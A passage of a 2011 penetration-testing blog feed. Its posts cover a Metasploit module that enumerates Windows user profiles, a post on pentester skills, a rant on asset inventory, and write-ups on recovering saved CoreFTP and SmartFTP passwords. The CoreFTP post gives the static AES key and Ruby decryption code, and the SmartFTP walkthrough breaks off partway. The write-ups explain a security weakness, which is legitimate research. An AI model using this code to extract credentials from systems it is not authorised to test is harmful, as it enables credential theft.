pre;"&gt;   &lt;/span&gt;print_status("***Username: #{user['UserName']} SID: #{user['SID']}***")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print_status("Profile dir: #{user['ProfileDir']} LocalSettings dir: #{user['LocalSettings']}")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print_status("AppData: #{user['AppData']} LocalAppData: #{user['LocalAppData']}")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print_status("History: #{user['History']} Cookies: #{user['Cookies']} Favorites: &amp;nbsp;#{user['Favorites']} ")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print_status("MyDocs: #{user['MyDocs']} Desktop: #{user['Desktop']}")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end&lt;br /&gt;&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;Here is what the output of running this test module would look like:&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; run post/windows/gather/hive_test&lt;br /&gt;&lt;br /&gt;[*] ***Username: Testuser1 SID: S-1-5-21-1462624396-1657036728-2537704546-1009***&lt;br /&gt;[*] Profile dir: C:\Documents and Settings\Testuser1 LocalSettings dir: C:\Documents and Settings\Testuser1\Local Settings&lt;br /&gt;[*] AppData: C:\Documents and Settings\Testuser1\Application Data LocalAppData: C:\Documents and Settings\Testuser1\Local Settings\Application Data&lt;br /&gt;[*] History: C:\Documents and Settings\Testuser1\Local Settings\History Cookies: C:\Documents and Settings\Testuser1\Cookies Favorites: &amp;nbsp;C:\Documents and Settings\Testuser1\Favorites&lt;br /&gt;[*] MyDocs: C:\Documents and Settings\Testuser1\My Documents Desktop: C:\Documents and Settings\Testuser1\Desktop&lt;br /&gt;[*] ***Username: Testuser2 SID: S-1-5-21-1462624396-1657036728-2537704546-1010***&lt;br /&gt;[*] Profile dir: C:\Documents and Settings\Testuser2 LocalSettings dir: C:\Documents and Settings\Testuser2\Local Settings&lt;br /&gt;[*] AppData: C:\Documents and Settings\Testuser2\Application Data LocalAppData: C:\Documents and Settings\Testuser2\Local Settings\Application Data&lt;br /&gt;[*] History: C:\Documents and Settings\Testuser2\Local Settings\History Cookies: C:\Documents and Settings\Testuser2\Cookies Favorites: &amp;nbsp;C:\Documents and Settings\Testuser2\Favorites&lt;br /&gt;[*] MyDocs: C:\Documents and Settings\Testuser2\My Documents Desktop: C:\Documents and Settings\Testuser2\Desktop&lt;br /&gt;[*] ***Username: Administrator SID: S-1-5-21-1462624396-1657036728-2537704546-500***&lt;br /&gt;[*] Profile dir: C:\Documents and Settings\Administrator LocalSettings dir: C:\Documents and Settings\Administrator\Local Settings&lt;br /&gt;[*] AppData: C:\Documents and Settings\Administrator\Application Data LocalAppData: C:\Documents and Settings\Administrator\Local Settings\Application Data&lt;br /&gt;[*] History: C:\Documents and Settings\Administrator\Local Settings\History Cookies: C:\Documents and Settings\Administrator\Cookies Favorites: &amp;nbsp;C:\Documents and Settings\Administrator\Favorites&lt;br /&gt;[*] MyDocs: C:\Documents and Settings\Administrator\My Documents Desktop: C:\Documents and Settings\Administrator\Desktop&lt;br /&gt;&lt;div&gt;-------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;My latest password extraction module for the SmartFTP client uses this new functionality. I have submitted a patch, that is still pending to implement this functionality across numerous other post modules. Using it to discover profile directories, and in some cases more thoroughly search the registry by loading missing userhives and then unloading them again when done.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All told this should help make these modules able to function more completely on non-English language pack machines, as well as be more thorough in their searching for critical data in the system.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7505214504835116497?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7505214504835116497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-windows-user-profile-data.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7505214504835116497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7505214504835116497'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-windows-user-profile-data.html' title='Metasploit: Windows User Profile Data'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-fIdZDj_PigE/TitfZWbfhrI/AAAAAAAAABc/L2y4S6QDiMQ/s72-c/hklm_profilelist.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2739376083141462801</id><published>2011-07-12T10:38:00.000-07:00</published><updated>2011-07-12T10:38:48.320-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Take away the Tools</title><content type='html'>&lt;a href="http://twitter.com/#!/indi303/status/90561179197509632"&gt;Indi303 recently had a post on twitter&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #666666; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 22px;"&gt;&lt;div class="tweet-row" style="clear: left; display: block; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; position: relative;"&gt;&lt;div class="tweet-text tweet-text-large" style="-webkit-font-smoothing: antialiased; font-family: Georgia, Palatino, 'Helvetica Neue', Helvetica, Arial, sans-serif !important; font-size: 28px; font-weight: normal; line-height: 36px; margin-bottom: 6px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; word-wrap: break-word;"&gt;Dear pentester: Throw away metasploit.... are u still a hacker? If you make excuses about why u are,but need it.. you aren't&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;It seems like a lot of people did not&amp;nbsp;understand&amp;nbsp;what he was saying, which rather proves the point I think. &amp;nbsp;He is not saying that Pen Tester should not use Metasploit, or that tools are bad. What he is saying here is that knowing how to use tools does not make you a good pentester. It makes you a script kiddie. We have been interviewing candidates for two new PenTest positions at my work, and I can tell you I feel this keenly.&lt;br /&gt;&lt;br /&gt;During our in-person&amp;nbsp;panel&amp;nbsp;interview we ask a long series of questions designed to gauge depth. We ask a number of basic questions. These first sets of questions we are jsut looking for typical responses. These questions can range from simple things like: "how does traceroute actually work" or "What is ring0" to more complex questions like "How do you exploit Blind SQL Injection on Oracle" or "Name two places besides the saved return pointer that you could overwrite to control program execution". The results we have seen on these questions alone are somewhat&amp;nbsp;disappointing&amp;nbsp;and very mixed.&lt;br /&gt;&lt;br /&gt;Then we get to where the wheels always seem to come off. This is where we ask the candidates to actually demonstrate the things they have&amp;nbsp;claimed&amp;nbsp;knowledge of. We ask things like "Write out an HTTP GET request on the whiteboard". Some of you are probably saying to&amp;nbsp;yourselves&amp;nbsp;"That is simple". I would&amp;nbsp;agree, and yet no candidate has done it correctly yet. We draw out a URL with GET parameters and ask them "Rewrite this request with a blind SQL injection attack".&lt;br /&gt;&lt;br /&gt;The fact is that when asked to demonstrate these skills and knowledge&amp;nbsp;disciplines&amp;nbsp;outside the context of any sort of tool or crutch. One of my colleagues across the wall, in Incident Response land, has suggested that I am being too harsh. That people who can only use tools still have some value. He is right, as far as it goes. what happens&amp;nbsp;though, when you have secured the environment past the point where you can just run metasploit modules and pop boxes. When you need to find design flaws, or 0days to exploit systems. A click-monkey is of no real value there, except maybe fetching coffee.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;none of this means you&amp;nbsp;should&amp;nbsp;throw your tools away. Metasploit is a valuable tool and a framework for pentesting. &amp;nbsp;Those of you&amp;nbsp;who&amp;nbsp;know me, of course know, that when i find something Metasploit doesn't do that I want it to, i try and add it. &amp;nbsp;So while I can&amp;nbsp;operate&amp;nbsp;without Metasploit, and have to often, i try and continually reduce those&amp;nbsp;occurrence&amp;nbsp;by submitting enhancements to Metasploit. In this way I am also giving back to the community. Something i would encourage EVERY pentester to do: If you see something Metasploit should do, but doesn't, write it and submit it!&lt;br /&gt;&lt;br /&gt;Or at least open up a feature request on their &lt;a href="http://dev.metasploit.com/redmine/projects/framework/issues?set_filter=1&amp;amp;tracker_id=1"&gt;Redmine interface&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2739376083141462801?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2739376083141462801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/07/take-away-tools.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2739376083141462801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2739376083141462801'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/take-away-tools.html' title='Take away the Tools'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5231314681631790609</id><published>2011-07-07T11:49:00.000-07:00</published><updated>2011-07-07T11:49:00.373-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Information Security: Why we Fail</title><content type='html'>The very first word seems to be our downfall. Information. If we don't have all of it, we have already failed. So suppose you are in a&amp;nbsp;sizable&amp;nbsp;organisation. Suppose that this organisation has grown inorganically over the years. &amp;nbsp;You have a problem, and that problem is that there is no&amp;nbsp;single&amp;nbsp;authoritative source of information about your environment.&lt;br /&gt;&lt;br /&gt;Now as a Security Engineer or Penetration Test how can you protect that environment from&amp;nbsp;compromise? The answer: you can't. &amp;nbsp;At least not until you rectify this problem first. The simple fact that is often overlooked is this: it takes only 1 machine being&amp;nbsp;compromised&amp;nbsp;for the situation to spin out of control. &amp;nbsp;If your knowledge of your environment is&amp;nbsp;incomplete&amp;nbsp;and there are systems your security team is not covering because they don't know it exists, you have failed. It is a matter of when, not if, you suffer a serious breach. &amp;nbsp;you can secure all of those other hosts on the&amp;nbsp;perimeter, and it will&amp;nbsp;amount&amp;nbsp;to nothing. The host with SQLi in that subnet you never knew about will let the attackers in. Then they are on a trusted&amp;nbsp;machine&amp;nbsp;somewhere in your environment, and their possible avenues of attack are countless. &amp;nbsp;Hgiher ups within the organisation will demand answers "Why didn't we catch this problem before? Why are we paying you people".&lt;br /&gt;&lt;br /&gt;So here's the point of my rant: If you are an org that is attempting a major Information Security initiative, make sure you equip your security people with the Information they need. If it isn't available, then you need to apply some breaks and fix that problem before anything else.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&amp;nbsp;Identify all of the systems in your environment and where they are. Chances are you're going to find systems that should have been decommed years ago. There is an instant monetary savings for you when you shut them off, as well as a positive step for Security. &amp;nbsp;&lt;/li&gt;&lt;li&gt;Document all of these systems. What they are, who owns them, etc. Keep this documentation up to date going forward&lt;/li&gt;&lt;li&gt;Identify roles and&amp;nbsp;responsibilities&amp;nbsp;of&amp;nbsp;those&amp;nbsp;systems, and&amp;nbsp;segregate&amp;nbsp;portions of your network appropriately.&amp;nbsp;Implement&amp;nbsp;proper&amp;nbsp;access controls between these&amp;nbsp;segregated&amp;nbsp;environments. If you worry about PCI compliance, this is a MUST.&lt;/li&gt;&lt;li&gt;Now set your Security people to work. Deploy Vulnerability Scanning solutions, arrange Penetration Test&amp;nbsp;Engagements, implement an SDLC, etc.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;If you try to skip these first three steps, you will fail. I&amp;nbsp;guarantee&amp;nbsp;it.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5231314681631790609?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5231314681631790609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/07/information-security-why-we-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5231314681631790609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5231314681631790609'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/information-security-why-we-fail.html' title='Information Security: Why we Fail'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-1430744837623369774</id><published>2011-06-21T12:35:00.000-07:00</published><updated>2011-06-21T12:39:45.718-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='decryption'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='coreftp'/><title type='text'>Stealing CoreFTP Passwords with Metasploit</title><content type='html'>Well folks, I'm at it again. The next client to fall is the CoreFTP client. CoreFTP stores it's saved password in the Windows Registry.&lt;br /&gt;&lt;br /&gt;They Can be found under HKEY_USERS\&lt;sid&gt;\Software\FTPWare\CoreFTP\Sites, with numbered keys for each saved site. The passwords are stored as ascii representations of their hex values(like&amp;nbsp;most&amp;nbsp;of the others we have seen). The ciphertext is encrypted using AES-128-ECB with a static key of&amp;nbsp;"hdfzpysvpzimorhk".&lt;/sid&gt;&lt;br /&gt;&lt;br /&gt;So once again we rely on our ruby openssl implementations to do our decoding for us. First we pack the text from the registry:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cipher =[encoded].pack("H*")&lt;br /&gt;Then we set up our AES implementation:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;aes.padding = 0&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;aes.decrypt&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;aes.key = "hdfzpysvpzimorhk"&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;password= aes.update(cipher) + aes.final &lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;return password&lt;br /&gt;&lt;br /&gt;The &amp;nbsp;import thing to note here is the aes.padding property. This MUST be set to 0 or you will get bad decrypt errors. It took me quite a while to figure that out. The result, as usual, is an easily decrypted password. This once again&amp;nbsp;highlights&amp;nbsp;that static key encryption in a product like this is next to useless. Products that are going to save sensitive passwords should prompt a user to pick a master password, and sue that as an encryption key. This forever&amp;nbsp;separates&amp;nbsp;the encryption key from the software. It's the only real way to keep that data secure.&lt;br /&gt;&lt;br /&gt;I submitted this module today, so it should hopefully get committed sometime in next couple of days. Keep your eyes peeled for post/windows/gather/enum_coreftp_passwords.rb&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-1430744837623369774?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/1430744837623369774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/06/stealing-coreftp-passwords-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1430744837623369774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1430744837623369774'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/06/stealing-coreftp-passwords-with.html' title='Stealing CoreFTP Passwords with Metasploit'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6705994749877809521</id><published>2011-06-19T10:55:00.000-07:00</published><updated>2011-06-19T10:55:13.071-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Railgun'/><category scheme='http://www.blogger.com/atom/ns#' term='decryption'/><category scheme='http://www.blogger.com/atom/ns#' term='Crypto'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='SmartFTP'/><title type='text'>SmartFTP Password Recovery with Metasploit - The details</title><content type='html'>So last&amp;nbsp;night&amp;nbsp;I briefly mentioned the new additions I submitted to Metasploit. It looks like they will get merged after the 3.7.2 Release. Metasploit is in a feature freeze at the moment for that release. I wanted to take the opportunity to discuss how the SmartFTP Password recovery module works. It might help other who want to write similar modules in the future.&lt;br /&gt;&lt;br /&gt;The Module Can be seen from the Metasploit Website here:&lt;br /&gt;&lt;br /&gt;&lt;iframe height="800" scrolling="auto" src="http://dev.metasploit.com/redmine/attachments/1284/enum_smartftp_pwd.rb" width="100%"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;So let's get the simple stuff out of the way first. We pull the OS information and the root System drive information from the Meterpreter stdapi. We then check the OS to see whether we need to be looking for "Documents and Settings" or "Users" off the system root. We then drop into the appropriate users directory and enumerate the individual&amp;nbsp;user&amp;nbsp;Directories. We build the Directory paths based off the combination of all of these factors.&lt;br /&gt;&lt;br /&gt;The enum_subdirs function then takes each of these potential SmartFTP data folder paths. If the path does not exist, or we do not have permission to access it, it will throw an exception&amp;nbsp;caught&amp;nbsp;by the rescue statement and will&amp;nbsp;move&amp;nbsp;on to the next path. If it can access the path, then it will enumerate all of the items in that directory. &amp;nbsp;If the item ends in .xml then it is added to the list of XML files to be parsed. If it is not an XML file, it is assumed to be a directory and is recursively passed back to the enum_subdirs function. In the rare case that this item is not actually a directory, it should throw an exception which will still be caught by the rescue. Once everything has been&amp;nbsp;recursively enumerated, we should have a list of xmlfiles in the session array @xmlfiles.&lt;br /&gt;&lt;br /&gt;For each xml file in the array we then run get_xml. &amp;nbsp;In get_xml we first try to open the file for reading. If for any reason we cannot do that, we catch an exception &amp;nbsp;let the users know, and move on to the next file. If we can open it, then we read all of the data into memory and send it to the parse_xml function. &amp;nbsp;parse_xml uses the Metasploit rexml library to parse the XML. We pull the host, port, username, and encrypted password. If no encrypted password is found, we skip this item and move to the next one since there is no password to steal. Once we have the encrypted password we pass it to the real meat and potatoes, our decryption routine.&lt;br /&gt;&lt;br /&gt;The first thing we do, is unpack this encoded data as a series of hex bytes. The string is in fact a series of bytes. &amp;nbsp;So if the encoded string is "9722972FC57CAE5A78DBD64E23968440C794" then it is actually \x97\x22\x97 etc.&lt;br /&gt;&lt;br /&gt;So now let's take a moment to look at the new Railgun function definition I have added. These functions come from Advapi32.dll. This DLL is already defined in Railgun so we just have to add the functions to it's definition:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Functions for Windows CryptoAPI&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptAcquireContextW', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PDWORD', 'phProv', 'out'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PWCHAR', 'pszContainer', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PWCHAR', 'pszProvider', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwProvType', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwflags', 'in']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptCreateHash', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hProv', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'Algid', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'hKey', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwFlags', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PDWORD', 'phHash', 'out']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptHashData', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hHash', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PWCHAR', 'pbData', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwDataLen', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwFlags', 'in']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptDeriveKey', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hProv', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'Algid', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hBaseData', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwFlags', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PDWORD', 'phKey', 'inout']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptDecrypt', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hKey', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hHash', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['BOOL', 'Final', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwFlags', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PBLOB', 'pbData', 'inout'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['PDWORD', 'pdwDataLen', 'inout']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptDestroyHash', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hHash', 'in']])&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptDestroyKey', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hKey', 'in']])&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;railgun.add_function('advapi32', 'CryptReleaseContext', 'BOOL',[&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['LPVOID', 'hProv', 'in'],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;['DWORD', 'dwFlags', 'in']])&lt;br /&gt;&lt;br /&gt;There is a lot going on here. So we'll take it a little slow.&lt;br /&gt;For those who don't know, Railgun is a part of Meterpreter that allows a user to hook Windows libraries and access their functions. In this&amp;nbsp;case&amp;nbsp;we are hooking the Advapi32.dll to gain access to the Windows CryptoAPI(CAPI) functions.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa379886(v=vs.85).aspx"&gt;CryptAcquireContextW&lt;/a&gt; is the Unicode version of the AcquireContext function. This creates the Cryptographic context we will be working in. The first parameter is a pointer to the provider object. the provider object is, in of itself, a pointer to a data structure that will be initialised by this function. So we pass it a pointer to a DWORD for the pointer to be placed in, and set it as an out&amp;nbsp;parameter&amp;nbsp;so the function will return the pointer information to us. We are not using the container object in this case, so we pass it nil. We then tell it what provider to use in this&amp;nbsp;case&amp;nbsp;it is the Microsoft Enhanced Cryptographic Provider. This is passed as a pointer to a string. We then pass it a value to tell it what type of provider to use. WinCrypt.h normally provides Constants for this, but since we don't have access to those constants we pass it the raw numerical value of that constant. In this case we are passing it the value for the RSA_FULL provider. Finally we pass it the appropriate flags. Like the provider type this expects a constant so we need to pass it a numerical value. We pass it CRYPT_VERIFY_CONTEXT(0xF0000000). For more details on the available flags I suggest you look at the MSDN Doc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa379908(v=vs.85).aspx"&gt;CryptCreateHash&lt;/a&gt; creates a hash object for us to user in much the same way that AcquireContext created a provider object. We pass it the provider object as the first parameter. Remembering that this&amp;nbsp;object&amp;nbsp;is a pointer to an&amp;nbsp;abstracted&amp;nbsp;in-memory data structure. Then we pass it the &lt;a href="http://msdn.microsoft.com/en-us/library/aa375549(v=vs.85).aspx"&gt;algorithm id&lt;/a&gt; for what kind of hash algorithm we will be using. Again, this is typically expecting a constant we don't have so we pass it a numerical value. If this hashing algorithm is expecting a key we pass it a key object. Since we are using md5 we pass it a 0 to tell it we are not using a key. We pass it a 0 for the flags. Finally we pass it a pointer to a place in memory for it to store the hash object. Just like the provider object, this is actually a pointer to a memory structure intialised by this function.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa380202(v=vs.85).aspx"&gt;CryptHashData&lt;/a&gt; is what will actually create the hash for us and put it in the hash object. The first thing we do is pass it our hash object. We then pass it the data to be hashed. In this case we are hashing the string "SmartFTP". We then pass it the data length of 16, and again we pass it no flags with a 0. This is the first step to deriving our Encryption Key.&lt;br /&gt;&lt;br /&gt;&lt;a 